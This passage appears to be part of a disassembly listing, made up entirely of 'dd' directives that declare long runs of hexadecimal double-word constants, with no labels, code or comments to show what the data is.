4AFFC279h, 10B470FAh dd 0C29F56C8h, 0FDCD2D65h, 5A303E82h, 75EDC447h, 8F898ACFh dd 95C86BCFh, 7B7749E1h, 0C0FEEA50h, 637EEAABh, 7312E815h dd 0F15E14AFh, 0C7C4ABC0h, 0A9303E5Ch, 0DC355EBCh, 6C7C9E1Fh dd 8DB0C8DDh, 0CC76A4AFh, 0CAAE4E89h, 29E8AC8h, 0EF051804h dd 6B3EC5FAh, 0DEE65A35h, 0F466806Bh, 0B422662Ah, 0E11D5Fh dd 198822FAh, 5936C6F5h, 81F04BBAh, 36CEDC2Fh, 0B464BEB2h dd 0C051E53Bh, 5F3F5759h, 8125653Bh, 49DC41h, 7F670017h dd 6DB50E0Fh, 0A249049Bh, 0DE17616Bh, 98AD2969h, 0AD0A2653h dd 3E9556A5h, 5D5CD617h, 37EE4E47h, 77DF641h, 9DD1DFABh dd 2F81C2ECh, 5C030EE3h, 0CA3C62Fh, 0ED70DB08h, 0A00AF565h dd 6AB9F69Ah, 0D046D971h, 0D2C550E3h, 7DFC0FFAh, 95D0EF69h dd 418B78AEh, 0B6028727h, 0A8C52812h, 4762A6F9h, 0F5962149h dd 0CCC2A3BCh, 0CEAACF58h, 0F4DD32A8h, 0D9317059h, 8110ADA0h dd 432D1EF5h, 7D3953E0h, 0EA87A552h, 6E8DE1C0h, 2EA7CB6Dh dd 547B2BB4h, 77D750h, 6A3533B5h, 0BC581997h, 0B3C0F915h dd 8554142Ah, 0C0637ACFh, 2D3CDAADh, 8B8EC6Ch, 8524B285h dd 0D7AB12CFh, 0B90A1113h, 0F87895AEh, 0A84D09A7h, 0C173A76h dd 837A4AB8h, 0F26B9C23h, 6F6CE4E6h, 2676BA7Bh, 5D8E474Fh dd 83EF81F1h, 9C42ED6Fh, 517B29BBh, 0E05976D1h, 0A35F2456h dd 8F9F8AB3h, 26ADE07Dh, 794EA5ABh, 7F7E187h, 0E50041BAh dd 0A9589F3h, 0E67DFA3Ch, 1F14780Ah, 6F3CD0C8h, 0F6EC91BAh dd 0FF4DC56Eh, 0C32FEA01h, 4D9E0D33h, 0F5BA8B54h, 0C557E1C9h dd 5A951751h, 8932ABE9h dd 0DA2F86h, 1F870FC5h, 0C1954790h, 0B9AF5AC2h, 79D1B044h dd 0F850B9EFh, 5C64B8Fh, 359070ECh, 2BF7A0BBh, 84CF65B2h dd 6D5A4454h, 553B3603h, 126FBF1Bh, 1155DB4Eh, 5E70A2EDh dd 0EA7AB863h, 0D65F3581h, 0F85C7A3Fh, 0BEDDA2D5h, 90187F6Fh dd 3386A241h, 0CBC7A354h, 0CDBAB253h, 68CC6584h, 0E60B3801h dd 976E1BF7h, 65C0F674h, 0DE8B39B9h, 6F5FAAEDh, 68AB825h dd 0D558AAAh, 0D3660223h, 0C64303F7h, 0C615BFD0h, 0E07C7526h dd 32C1A81Bh, 49FCC9AAh, 0DB2F7273h, 0D2B45FF2h, 0DC6A3BF7h dd 0E91BC0F2h, 2EFB3FE6h, 15A7083Ch, 3A0637DFh, 0DCEABA56h dd 0A55B17F1h, 5445156Ch, 34AD7756h, 6694AC4Bh, 981AE6A3h dd 581F1D26h, 257AF0D4h, 0C0CBC0E3h, 5CABA21Ah, 91AD4AAAh dd 936DC6FCh, 3ED5329Dh, 0A98A2A0Bh, 989283B9h, 0C1E74761h dd 6AE005C2h, 0E68E4462h, 0A01257FFh, 3D4F17DDh, 0B476726Dh dd 0C8D92C7Bh, 0E06B656Eh, 0E0DDB9E3h, 36112FE7h, 25C931B7h dd 0BF2E8856h, 31D2008Ch, 0ED91B4D5h, 1DC7C27Eh, 0AE30A7CAh dd 0C7839EAEh, 8110F2FBh, 3DC83AE3h, 0FFC16384h, 9BE07BD2h dd 0EC5D0D7Ah, 16D97C24h, 603D7187h, 5A2F7F7Dh, 673EBD81h dd 0E342FD5Eh, 0B0CAE6Ah, 0AB9369FEh, 0CEF3246Ah, 0A755A4A7h dd 3AB9E39Ah, 9A9BAF8Dh, 8A3E7DA7h, 3BB9A103h, 65428EE4h dd 7307424Eh, 0EDCC664Ch, 63B42A99h, 6DFAA0E2h, 0F96BE17Dh dd 0B45C7CBFh, 0B40568E1h, 6CB1B84Eh, 0D36BE63Ah, 2A1813BDh dd 0BD985D2h, 0B3787530h, 0AAAE0C2Bh, 78B015F8h, 69B97405h dd 552F10CCh, 0CA1F8326h, 684E303Fh, 0DEDFCB98h, 0F83B649Fh dd 11B8908h, 5D3A9B27h, 0B05C5A6Bh, 4FC31145h, 0FBE28A7Dh dd 0A4907020h, 0FABEA214h, 5B73085Dh, 90B2BAA9h, 9B97683Dh dd 657FB01Bh, 1F9BA862h, 0F82EF1DAh, 808B9A87h, 0D795FB51h dd 1DF3D8E7h, 45FA926Fh, 7F078D1Eh, 35EEB6E7h, 7514F504h dd 8A747361h, 6308924Eh, 6A1F2ED2h, 0BCA6DA55h, 0DCFC4989h dd 6CE7D976h, 3B23DA3Ch, 0C45D0D36h, 5A56245Fh, 9E00A07Eh dd 1DD19D8Bh, 2F17A413h, 3F2E013h, 98F68BF0h, 0BB955DA1h dd 681F56ADh, 68B0ECFCh, 4E92D5C2h, 22AA8BE1h, 4FE474EAh dd 1EFFAF23h, 0E0AFF67Dh, 0F7F53ADAh, 75E96DDBh, 2B1AA9DAh dd 2F134D36h, 0EDD1F0DFh, 53BC7F07h, 2EE24AFh, 0A23BD3B5h dd 30DB7F47h, 7387BE13h, 0B6E46F1Eh, 21B30388h, 1475DBC1h dd 116F6B0h, 52BDA39h, 0FAD68C0Fh, 2154DBDh, 0C65FC249h dd 52D70166h, 0A1BF8DFEh, 0E1E7AD3Bh, 808F332Ah, 3987CBA9h dd 1542F9D8h, 1E7CCEBFh, 84500033h, 15059E24h, 0C97D800Ch dd 2C965E8Dh, 89B9705Dh, 5BF93DD5h, 67F0651Dh, 0F3446904h dd 70293AB9h, 0FC0FAB75h, 98DDE33Eh, 0FC1BACFEh, 0D3C9045Eh dd 77B1763Fh, 6C16E360h, 0EDB4970Eh, 0B1CC6DFDh, 0F3527B00h dd 76D6B2BFh, 0C040A276h, 47AEE6AFh, 6955BB6Ah, 0AB905699h dd 47E3E514h, 0C068A70Ah, 726FFB7h, 6AB0E2E2h, 58A2768Ch dd 6F1C0B4h, 0BFF99544h, 0EB190978h, 1AE6D555h, 5965C059h dd 0D07B92B5h, 0E51EC085h, 0EB1F9576h, 29ED1EFDh, 189485D4h dd 3CFBEF7Ch, 915D008Bh, 40ACC376h, 0B5F27DCFh, 0A38A4BA5h dd 5E91F62Dh, 8465CBF3h, 0FA6D2403h, 0AF7969D4h, 0DFDC7145h dd 55E50CFEh, 51B03FDEh, 576AA167h, 2DF1DEDh, 0C93AC3BBh dd 15DBC5Fh, 17C5B452h, 95349B51h, 3305EA8Ch, 352FDF30h dd 54ADDD2h, 0B1C4D2BCh, 73546333h, 14111FFCh, 7A825B63h dd 1C4B2D93h, 0F4217790h, 71DB285Fh, 34ADC0D1h, 3F09184Eh dd 0F4E429F4h, 35C567E6h, 99F4AA43h, 6D1057AEh, 39C7B956h dd 2DBB3264h, 0B21D0C0Fh, 0C23169F0h, 6C606D0Ah, 3588D0ADh dd 0A9A72D58h, 3FF1134Ch, 6BB8374h, 4B81464Ah, 0E7D550F0h dd 31C191F9h, 28BC887Bh, 5D247542h, 8CD04CC2h, 0DEB37AE1h dd 0FDF8FBEFh, 0CEDD7D6Ch, 0BA02F28Fh, 73278B88h, 680543A5h dd 0A3C33DBDh, 672D1457h, 0A8DACBF2h, 0AD607C32h, 6A66D2CCh dd 5F83CAF6h, 716E6EEDh, 6744217Ah, 6C5A602Ah, 4E29ABA8h dd 821868CCh, 0E0FF2BC9h, 6BE02D5Eh, 543015F9h, 0B17E06AFh dd 1996A401h, 85B66765h, 0E33FF6C5h, 0D8D32B0Eh, 8EF25A4Dh dd 150346A7h, 0DD410F6h, 1F6BE1Fh, 899F2873h, 167E48B3h dd 981B4622h, 26F93A9Eh, 0BDD80AEAh, 3E60A36Eh, 0E300AE44h dd 0BB639024h, 0CEB50F03h, 0E28254F3h, 0B3A5934Bh, 7D8E0C4Dh dd 1323CCBEh, 6510B454h, 5DDC3D4Eh, 0CDC43A70h, 9424BF9Bh dd 0D4BCABC8h, 77E6395Eh, 57436536h, 1BF6864Fh, 0C61267F1h dd 5BA91FD8h, 8535B5C7h, 952FB707h, 0D142E7C8h, 0F08FF52h dd 810FC6C5h, 63CF4C9Eh, 0DA54F6CFh, 4B55D3DAh, 5D4F83B7h dd 5FE0589Fh, 19DEF93Ch, 7B62A2EAh, 0C009A5DBh, 0AFBE18h dd 5DECC4Dh, 0A2F3C8E8h, 0F8159A48h, 0FA806662h, 8D018EBBh dd 0B489EBAEh, 7881A6C7h, 0D756B16Bh, 0B550057Ch, 0DC97B75Ah dd 0F9CA7B0Eh, 5128C0CEh, 51AF1157h, 7CF56B76h, 55558159h dd 77662B3Bh, 9C52473Eh, 3B9A9EFEh, 647636F3h, 0FD7FB854h dd 15F40F47h, 0F69771D0h, 8083DA2Ch, 0A05E695h, 5041BFB6h dd 0EABE2CA8h, 3AF33F63h, 18AA6A9Bh, 0A8B74E2Eh, 928A06F5h dd 0C3F4D6FCh, 303D6CCCh, 8724B0B2h, 5DBCBC35h, 5AC69D69h dd 0C19FC534h, 782E025Dh, 77F386A9h, 356AD60Bh, 0CC53A7Ch dd 0CC817F9Eh, 623396D7h, 17F1F5FBh, 5E9D6472h, 45A51ABDh dd 5F1C3727h, 3F346B3Fh, 0F247F757h, 0CD768478h, 0F3FB028h dd 0A3D48DBh, 442643B2h, 0D829890Ah, 8FDF8D1Ah, 0C52B02C8h dd 0E86AAAF4h, 72591D4Bh, 0FB420B25h, 0B94FFCA8h, 0CABB5BA5h dd 55DDC2BBh, 0CB072925h, 9C3F7F36h, 6BEC9606h, 7AE474B7h dd 2DF5BE06h, 94C5B3CCh, 2AA9AC56h, 0AD119A3Bh, 48370A0Fh dd 81EFC972h, 92DE1F07h, 9B0FB479h, 0CF7DEFEAh, 4550778Fh dd 2D0B4427h, 139781FCh, 437F3617h, 876B4DB6h, 1F8ACBCBh dd 556E3AD5h, 9D7935B3h, 0EF8D66A3h, 0B3A630DDh, 0A7CAB1E4h dd 3B4759B0h, 91C1E22Ah, 0B315C8FDh, 776B25Eh, 2BD7A82h dd 0E1967669h, 0EAFC9E5Eh, 0A5761894h, 2E7BC274h, 44EEF4Eh dd 350C4C5h, 0DF902F74h, 0EDF7A751h, 0FD1A9011h, 6E92EB46h dd 8BE5AB86h, 0AE7AB77h, 0C1FCCCD0h, 0C860E856h, 0F2FFAD45h dd 3ABBB84Ah, 0F9C5B471h, 0B1B475F6h, 0EB391F2Bh, 556B2A87h dd 0A624A70h, 5FC10DCAh, 64F06D70h, 45C0F3B9h, 0D3DFBBB2h dd 6A7216B2h, 804717CEh, 50853E4Dh, 0DC7239E8h, 0D8FEB61Dh dd 7CA6ADE6h, 166D291Eh, 1FCE1834h, 204249D3h, 9D442C20h dd 7952DB7Ch, 0F4AE3FA6h, 0E2AC7BCBh, 0E7EFEF96h, 0BAAD7C27h dd 0F0313291h, 0B6E234BCh, 5BF9E710h, 0ADD55A13h, 7941482Bh dd 2F024B55h, 7E015D27h, 930FDA5Dh, 0A8ADA6ACh, 0BAC405A7h dd 8B40A917h, 0E87CE4DFh, 0E552462Bh, 0B0C4CF9Fh, 505CFAEFh dd 0A2284FFAh, 1E4FD211h, 9884823Eh, 0FAC628BEh, 0E5B01139h dd 0E30D529Bh, 0AECD679Bh, 0A25D8199h, 795100B7h, 0FCA8575Ah dd 0FEAF4BA6h, 17CBED57h, 169BDE39h, 0D4BC0F2Ah, 0C71C936Eh dd 0CBF6FE3Dh, 4CF2B70Dh, 7EB25A3Fh, 1C9137FEh, 0F09DF105h dd 48ECF51Ah, 0B5E753B8h, 0E79D430Fh, 0CA55E244h, 5DA3938Dh dd 0C917DD67h, 55D7B40Fh, 62FD38CEh, 53367950h, 5AF94600h dd 0A775AF01h, 5E5EE12Fh dd 0D538251h, 5456B09Fh, 67663ADDh, 8074E80Ah, 40B07C28h dd 22FE1F27h, 3A230FC3h, 0F92562E3h, 0EA5D1C23h, 73F777BFh dd 92B079E0h, 1AA0DC27h, 0A2A30FDFh, 66D554A1h, 0CA94815Dh dd 976A8469h, 5D9A56A2h, 19450EAh, 0BADD0DD7h, 0B8D630EBh dd 0FF30DC0Dh, 6287A71Fh, 2989AE25h, 7BEDAE30h, 3545DDE4h dd 0F6079BD7h, 48187F4Fh, 0B3DDA7E1h, 3AA40987h, 0D1FA955Ch dd 2FA1F89Ah, 1F51F49Eh, 5B850873h, 0ACA83F0Ah, 90555025h dd 0E7B6EAE7h, 0F16F8B1h, 5CE9FB98h, 64D8CF0Bh, 27A67CA0h dd 2A24AD16h, 9A36D318h, 0EB9984FFh, 4DBDBE1Dh, 0EB2BF41Bh dd 796E50FCh, 1E21474Bh, 3F1D6D4h, 0EF5F6B47h, 3B55AEA6h dd 3AD095F7h, 36F95ADAh, 9940AEEFh, 0A10524B2h, 471A1ADDh dd 404BDB06h, 0AD344121h, 853AA8A1h, 960BE70Eh, 67C18DBEh dd 8197D234h, 0BF3CB74Dh, 0EC8BE362h, 87E1B84Ah, 0F1F981E5h dd 0C66FF07Ah, 297E1E17h, 170C53Ah, 6FB5865Bh, 53B4496Fh dd 6A5B95B4h, 0BEB1C399h, 175F3593h, 0C3E46842h, 99B4F749h dd 0D593E8C6h, 9EC1D14Bh, 3968986Ch, 3F2E05D6h, 0DD143F1Fh dd 6CB3535h, 0E3B74EBDh, 0D351F4D4h, 2ACA2C52h, 0C2730247h dd 84BBC7F2h, 0BD0B5B3Ch, 0EAF97ED0h, 8FB503F3h, 1075ADC8h dd 3A368E4Dh, 0C31B8C97h, 2E7FE179h, 0F0CD50ACh, 1B5E0978h dd 0EA5709DAh, 0C7263BBCh, 22F9D83Ah, 8B4542D5h, 28B45FBFh dd 0D78823BBh, 1990F9C5h, 7DA5F91h, 59FFEA27h, 0CA3B9AE9h dd 5C12EA11h, 380839CEh, 75BE752Fh, 832BB093h, 1B8857BBh dd 0AAFA4565h, 8AA10FC6h, 0D475623Fh, 99DCAACCh, 0B5AACC3Ch dd 9A424D3Bh, 976070DFh, 0F610E0F8h, 0E21BEB6Ch, 675E73EFh dd 0C29F5063h, 0D4A065BBh, 50A1F828h, 93AB3EA3h, 0A5D96443h dd 0D93B29F4h, 59808774h, 1B7EBEFEh, 142425FAh, 210CF32Eh dd 1F36CE14h, 0D4C5FB44h, 8DDAEBE1h, 0FBD81F95h, 0DE994993h dd 39374176h, 7B4C8DA0h, 8B816C72h, 0DA129ABCh, 0DA3757A6h dd 0AAC9C3F0h, 0AAE75FC4h, 0FFA095Ah, 0BADA1976h, 0E6D640BAh dd 0C697460Dh, 0FC544A0h, 8A53DEAFh, 649217A2h, 16CAA7C7h dd 2B3E7BCEh, 7D810853h, 0BFC2C9E6h, 0CCBAFC7Fh, 6FFFCBC2h dd 9557D903h, 0A148267Dh, 2B4493ACh, 3EF60FBCh, 2DF39EDAh dd 0DC1AD0F3h, 0CC1F5458h, 82A78AE8h, 5B7C60EBh, 0BF52B380h dd 772E60BAh, 8D980CB8h, 7FE8205Ch, 0E0C8DE79h, 0C25CAE13h dd 0AF6329F4h, 0FF2B9EE4h, 0F28F7355h, 0D940B466h, 0AA9488C3h dd 0BA69963Ah, 14162A5Fh, 0E12BB3DCh, 14B74D35h, 0E0E7AE78h dd 0DCE4C94Ch, 0B285ABABh, 715591DBh, 0F7605DD9h, 0AF9FCD13h dd 0EF04D25Eh, 96C1B1F4h, 555DA196h, 0B37C4312h, 0E71CAC5Fh dd 548B23CAh, 0FA034AF2h, 91AEEC6Dh, 8AB44049h, 0FC332D15h dd 0AB7C7677h, 81E3FAEAh, 0BCDBBBBDh, 38D95B19h, 0FF7727F9h dd 5A56DEBCh, 50D6F4ADh, 1CFAEB76h, 37E26CF8h, 347367C8h dd 0D95364B1h, 0DA7D7B86h, 0F0406955h, 9CAEBC69h, 0D4FC8202h dd 6AEF23B6h, 32F9075h, 791D32B7h, 0CE1D5703h, 0F6B6C333h dd 9E10DAE9h, 0C3F1F8DEh, 0B25F2B2Fh, 6FB53E81h, 0F0967435h dd 22D7BDD5h, 57F03E7Eh, 0F7F63FA4h, 6873432Dh, 0F8FAD334h dd 5695D366h, 0B9461D44h, 55BE4640h, 9BC10F04h, 970EA8BEh dd 1470309Fh, 0E5D6BB6Bh, 0F795DDEFh, 0C656852Ah, 95932D8h dd 1F9CAA25h, 0F9774334h, 0A963D50Ah, 123EFB94h, 6D8ADE55h dd 0ED1988DDh, 32A391Ch, 0F9CF0B8Ch, 0F49560E3h, 0C4D5836Ch dd 951303C8h, 0FF15BDE5h, 4BFEFE1Bh, 191AB695h, 0BCFCB68Ah dd 50B3E8C4h, 0AA2361F5h, 0F7817F5Fh, 70F0D56Ah, 3CA3944Ah dd 0D16FB2E8h, 34959C0Fh, 2623DB9Dh, 638BF84Dh, 0DE2B72B0h dd 6DBE6D1Eh, 0A90FF632h, 8968D34h, 0D6459E56h, 0E02D99F7h dd 0FB210A47h, 0A80FE437h, 67E246C0h, 8FA9C929h, 25A03CBCh dd 0C735A97Ch, 3DAA1BD8h, 0AE0814F2h, 33002B8Bh, 0D8FDFACDh dd 324FF107h, 2E7C0A25h, 5BAF9483h, 0AB5CA6D7h, 5781F079h dd 0FFC7AC45h, 0F8073895h, 2BEAE949h, 5EAC9989h, 3F9A190h dd 0EF5236BEh, 7533060Eh, 44F70B71h, 6E44C4E9h, 0EA568BE9h dd 7BCC2973h, 485EEAAh, 8FB33577h, 0B4BA5C91h, 674BF3EDh dd 0D2CA4AFAh, 303FA81Ch, 14C8F36Ah, 789832F6h, 0E5AD9F42h dd 0C1838DC8h, 0C9404AAEh, 0F8E5D8DEh, 66D0C2AEh, 7623EECAh dd 4E6B744Fh, 0A6EE2ED4h, 8950D0A8h, 464FB6C8h, 0D8ACF343h dd 923C8862h, 0FA2DA4B0h, 9B7CE3A8h, 0F552938h, 1FAEBFCDh dd 80A5BEB1h, 0A05E2F97h, 0FBF0E08Fh, 0CBED8BF6h, 3FD488D8h dd 54F63506h, 9B3BE4FFh, 78686BAAh, 11598CBDh, 7F83C236h dd 0A1E8561Bh, 0E49DC3F0h, 5BFF88B9h, 0FA27181Eh, 1D479BFBh dd 9CF07910h, 0E51C8C17h, 88FE41C8h, 0A7E2007h, 79DE5EC1h dd 7E9437F3h, 0BEAC62E1h, 0CE0BD4B8h, 7E2661B7h, 207D6BAh dd 366BAD07h, 57725745h, 580EA8CDh, 8E78FCBEh, 0EAD61DA1h dd 0CA275ECBh, 8F128EF6h, 0C7338057h, 9C72F989h, 9D3EED87h dd 65BDFC31h, 4E8B3E86h, 99B0DC2Bh, 77B6BF8Ah, 2899E7DAh dd 0CE0F24h, 2965D3CFh, 439D4733h, 0A13D7EDCh, 2E694B2Ah dd 19CF8413h, 0DCBECD89h, 4F44B94Ch, 3A25D4D3h, 2F51A22Ah dd 381CDC6Fh, 1FD45F85h, 0B09844E2h, 0AFAD3EDAh, 975EC024h dd 0F2E6FD6Fh, 8C4AA16Ah, 7CD8672Ch, 0E2FAD510h, 89C2019h dd 0EC507C3Ch, 0C5BAD20Ch, 265C7E40h, 0AE73F6Fh, 6D9809ECh dd 0E15D0EDBh, 0C6BE010Ah, 0F7354447h, 0AD1F975Dh, 20D2B367h dd 7D4336A8h, 3BF40BC1h, 995AF414h, 0C6F13800h, 0CE12BAD8h dd 88B56EA6h, 0FAA7B55h, 6B4606B5h, 0CDD4280Dh, 9C9979ECh dd 4E9C48F8h, 0EA9F64Ch, 6A539C02h, 0B0F168D1h, 59013C95h dd 0F0256B7Bh, 898AA970h, 2E9EB6C7h, 739D5034h, 3308FD4Bh dd 63F8B554h, 0B94BC54Dh, 0D631675Eh, 7D501472h, 9B2C5C16h dd 394055E7h, 0A634E563h, 58FA4EFBh, 25E2D734h, 0A7D04715h dd 0FBEBA350h, 7DA8D8FCh, 0B59A63DBh, 52685749h, 0DA1F80ABh dd 0AB528AE9h, 52E7E951h, 348B2A67h, 35E2E21Eh, 95B9DE7Bh dd 885FD13Dh, 0DFC4AF8Ah, 0BE0876DBh, 22BA9A88h, 0ED169629h dd 83BE4CD8h, 7029BB71h, 557A29A2h, 90BBC5B5h, 5906B0FEh dd 0A0AEFC32h, 0DA0D7B7Ch, 6636A4FCh, 2C9CBF72h, 0EF87CCF9h dd 742D421Bh, 3DF870FAh, 0CAD0D67Eh, 282F1F85h, 0F0D92C70h dd 0CE1E5FAh, 0F5770554h, 0EEE4DA39h, 0B0C7247Eh, 0B01D3DD6h dd 11AE8527h, 6AFF012h, 5A95643Bh, 59FE57F0h, 0C47AB4C6h dd 13892070h, 126CB7D0h, 71BA4F5Ah, 94B4508Bh, 0AFF19B54h dd 21F8FFA7h, 0F449F15Ch, 1150BAAFh, 0A856955Dh, 1F0E07F8h dd 74CE8DD3h, 7B80A93Fh, 0CA841F62h, 0A4A2F910h, 7B8EB663h dd 0DB1CCBF5h, 73FD2573h, 0E7AF5B54h, 6BE5FF33h, 81E2CB39h dd 119ED018h, 0FB3A4DAAh, 0D90E86C2h, 2F7456Ch, 1EDE5F5Dh dd 2CF4BD7Dh, 88BB102Ch, 984E2FADh, 1B438964h, 8391321Fh dd 7AB71B03h, 0CBADC9F5h, 72E02DC8h, 0D1046B5Ch, 0AF445F29h dd 0A42F8F85h, 0E5812FBFh, 0FC151DDCh, 9073E26Dh, 0AA509A98h dd 0D481E8D2h, 554F8EBh, 510C13C8h, 1F73CEDEh, 8486938Eh dd 8DF036B1h, 49FC88ECh, 2BAA1F25h, 173AAE7h, 6E3C92B5h dd 7AFAD66Ch, 0A1F839FCh, 8DF54394h, 0B8C479Dh, 1B3FAAE0h dd 0F3624A39h, 93EF081Dh dd 0DEC2331Bh, 0F1519AC5h, 0C59E2B9Fh, 7EE76FDCh, 561F8BC5h dd 46D77E51h, 453452E8h, 0A2490A5Dh, 49ACC750h, 57C59BD5h dd 9E748C6Ch, 97ECF2AEh, 0D62D7DDFh, 0E261F0B7h, 7922BD44h dd 303DE3B3h, 0DD1F99C6h, 9B79F7E9h, 0CAFE039Dh, 0D1DC7033h dd 3733F560h, 0C9F24D97h, 7A7FB10Bh, 8C175FB8h, 0BEB56203h dd 4E177497h, 0EE4AD502h, 0FF03E5BAh, 14AFCA2Ch, 0DB5C9AEh dd 260B247Dh, 1D53019Dh, 452EB42Ch, 5BEA4536h, 471FC3C0h dd 0FBA1F5DCh, 26A16B7Ah, 34AF92F9h, 0C8ABAAF9h, 98DB16A7h dd 4B8EE725h, 57B45BEFh, 5DC8B2B4h, 0C1A4D350h, 0B64F48DFh dd 774D74BEh, 285A7C27h, 105F36B1h, 0BC0D0AA4h, 18FEC636h dd 58D6E29Fh, 0B9AE7CADh, 131AFAC7h, 0CD9FBAB2h, 9A6A93B0h dd 1A6748DBh, 971C688Ch, 0C3665FC1h, 6668EAD1h, 0BEA867Dh dd 0EF380CD5h, 0C400AE8h, 66E9562Eh, 8B66A5AFh, 5A8DB2ADh dd 2EA2C330h, 3008BF59h, 86079558h, 906BF4E5h, 0FE5E2ACDh dd 3BD6A380h, 0D5451447h, 0EEDAD0D0h, 0CECBDFF9h, 6745F6B6h dd 45CA1B3Fh, 0CC39F3ADh, 0E07ED82Bh, 9EEE32A7h, 79B6BCCDh dd 7105F8D7h, 0FE862572h, 4AF3F396h, 2438B61Fh, 0E9975A41h dd 0B4905544h, 9BB3BD5Fh, 5B8D256Fh, 0F87D3473h, 5AB988DAh dd 0DFF607F3h, 0C18C4864h, 405B75B3h, 3F379B8Ah, 98F855F1h dd 6315CD5Fh, 0D11412CAh, 0C75BA2EBh, 0F5B18F55h, 122FA111h dd 82E9A946h, 40FC61EFh, 8F870165h, 97708DEDh, 0F585662Ah dd 33AE962Fh, 54B73372h, 0AFD7A08h, 161FCE23h, 773D581Fh dd 47C78C7Ah, 0F05FC188h, 0EF52EFBCh, 135080BCh, 0C7C97713h dd 0C5D2A595h, 0B70B2625h, 1ADFA5ADh, 2E34E5FFh, 928D82AAh dd 2E739D68h, 4D120287h, 0B77EDBBh, 0F84BF8A0h, 0B41C4554h dd 0C3578F8h, 7E71554Ah, 0DB15D35Dh, 7AF542C6h, 1C918DC3h dd 0F1359E0Bh, 8C862FEAh, 0AB5CCE94h, 7786C6E9h, 0EB6E8C80h dd 2D482EAFh, 984AB257h, 397B35DEh, 7543B6E9h, 0F55FC56Eh dd 0FA3FA275h, 798234B9h, 6DAA35Ah, 0E30EED9Dh, 8BFE6B53h dd 17D6A86Dh, 9A08055h, 6AD9620Eh, 0E6DDD121h, 0ED363BC5h dd 2FB1F41h, 13A0CDF0h, 0F03EF9BEh, 3EF90359h, 0DCE6444Fh dd 0CB95DED6h, 0EFD551F5h, 0B4104A35h, 0F4046D31h, 0C5F3F116h dd 0CEAE7645h, 0A0EBEAAAh, 4635CAF6h, 402D1FBh, 91C0DA11h dd 2F3B21BCh, 0D53E7F37h, 0FAAE3392h, 0EE7ABA0Eh, 0B2EAD579h dd 0A4FF2AD0h, 92C2411Eh, 4C762EBCh, 0E356B07Dh, 0F8A5A327h dd 4F183ECFh, 0CA1F80E9h, 481DD075h, 0B2DCBAE9h, 25DCB3CDh dd 0EEF333C1h, 0E3C65A59h, 155E82BFh, 57FC0FC7h, 3743C301h dd 47D34175h, 2B8BA649h, 221C7809h, 2561B157h, 0FCD5A18h dd 9C0AFC99h, 565F7094h, 0A9E805Fh, 6E644794h, 264FBF91h dd 85F891Ah, 0E76F9DBAh, 8ED7560Ah, 0BEC455B7h, 0DA8DF4BBh dd 2A3223CAh, 0E9D7E62Ah, 97F77D58h, 0F6CEECDDh, 5C068F41h dd 702537D6h, 0D8943B17h, 33035AE4h, 0D4F7B611h, 59F41BE7h dd 54A0F41Eh, 88B2F060h, 332C15C9h, 0AC926D50h, 0A9DA363Dh dd 6BD515E3h, 1AA30E11h, 1BBBE75Dh, 0AFF2AD69h, 2F24A368h dd 9C75F4DEh, 0ECACBB71h, 602995Bh, 0FF6F8501h, 76DB97Fh dd 0D9A12D52h, 0C05406B7h, 2CECA677h, 3F7ADC8h, 2DB3C031h dd 0FE58DB45h, 2DD815DAh, 0E1ADFFC5h, 74DFE035h, 0DA6F4C7Bh dd 807BF753h, 1CDC8D11h, 2CCC4B03h, 0C39A7F78h, 1DF56D66h dd 0B9F55F2Ch, 0CD66CDC4h, 76EFA924h, 6E250BAEh, 4711B29Eh dd 77E4DBEFh, 6500C8Dh, 63518CFBh, 0C27397B6h, 46D9C6F0h dd 3FDF8FFBh, 2AAA54D6h, 0D9343F1Fh, 3D54926Dh, 3A976CFBh dd 7F201CDDh, 0E6C6DDBAh, 2D8DCD57h, 43EE8AE1h, 0C27F23D9h dd 6A34B22Fh, 86F72AB9h, 68E2E7F9h, 7E3ACBBAh, 8EE7E7DFh dd 43DABBC0h, 56739F8Bh, 0A2F42A75h, 0ADAFA8Fh, 3607C942h dd 9CD7C299h, 5D326F87h, 0F92FB645h, 2E7EF171h, 0D730B0F5h dd 0C45C3180h, 5F610428h, 0EF5D29A5h, 8DBB9108h, 0DE898C1Dh dd 0AF11A015h, 0FC49607Eh, 0F5DF366Ch, 97EE1F8Ch, 0BC68567Ah dd 9E471D5Bh, 0A88C625Dh, 5E4DB86Ah, 0F9100576h, 15FC2060h dd 0EDC1FE92h, 24EA0C5Dh, 9EF014EAh, 644D8C4Ch, 0BEE8DB3Ah dd 9A26677Eh, 8929943h, 0F2F367AAh, 568B9E9Fh, 79067C3Eh dd 3084BE1Dh, 0B2FC2B6Ch, 536B3206h, 1C6E7DD7h, 9659CB1Bh dd 0B90FD840h, 564515EBh, 6B63D103h, 0DC868C0Ah, 769CE6BFh dd 4F52AEC3h, 8CAA8C99h, 0CCFE0CBFh, 530CA3F0h, 52582FFBh dd 1B22CC65h, 0CFD18987h, 0EAE8912Dh, 4039FEB9h, 0CE7BCAB5h dd 0CD03087Ah, 0C9357C3Fh, 4CD925E7h, 5E8C4C41h, 8ED77175h dd 0F1697058h, 313F6020h, 74776045h, 0EB4F817Bh, 0B45F1719h dd 0C0FB6ADDh, 8FCADB77h, 961964C4h, 0C9568E86h, 7370BF8Ah dd 0D9BABB08h, 0A5535C85h, 0A243D20Dh, 0BA9DCE1Fh, 8681C655h dd 0FE6E2D6Eh, 0D266078Dh, 0ACBD5FE0h, 38BF4919h, 85A7DA33h dd 775C9BDFh, 37B1D0B6h, 0A42FA861h, 6C6F4B2Fh, 1798F3FBh dd 0C119A2CFh, 0AAED2B03h, 0FBB37B8h, 0E6F23E52h, 6C0F9B27h dd 0B4A9DE81h, 6F17655h, 0FA0D3D51h, 85550F50h, 3E209689h dd 74C73FDh, 0F405558Eh, 0BBCD0855h, 0D9033DB1h, 2CCCEDD9h dd 22E3D50Ch, 0E07F10CDh, 0E435D548h, 6AF0BA24h, 3650BDA2h dd 97EFF663h, 0ABEEF8F8h, 2CB26A8Bh, 0F1EC9889h, 0ABE99871h dd 65959DB1h, 7FBF6EAFh, 0A6AE8246h, 27378792h, 2AC9CD8Ah dd 0EFF47878h, 1E5CECE5h, 0C218AA9Fh, 0E50143ECh, 0B62B1FD0h dd 0FDB9F8A2h, 0A92255DFh, 0F40A8167h, 0B917758h, 0FB1DF195h dd 0CDC3CA89h, 0A2B4ACB4h, 7DE5A1E7h, 0B3E35A26h, 93AB7E93h dd 83C788CCh, 0CA617D04h, 65BA9823h, 5B58E948h, 39FEB88Ah dd 0AE022D1Eh, 88B6529Fh, 354782D3h, 8CCAF2Ch, 571DCB66h dd 9D3A3DCEh, 5652462Bh, 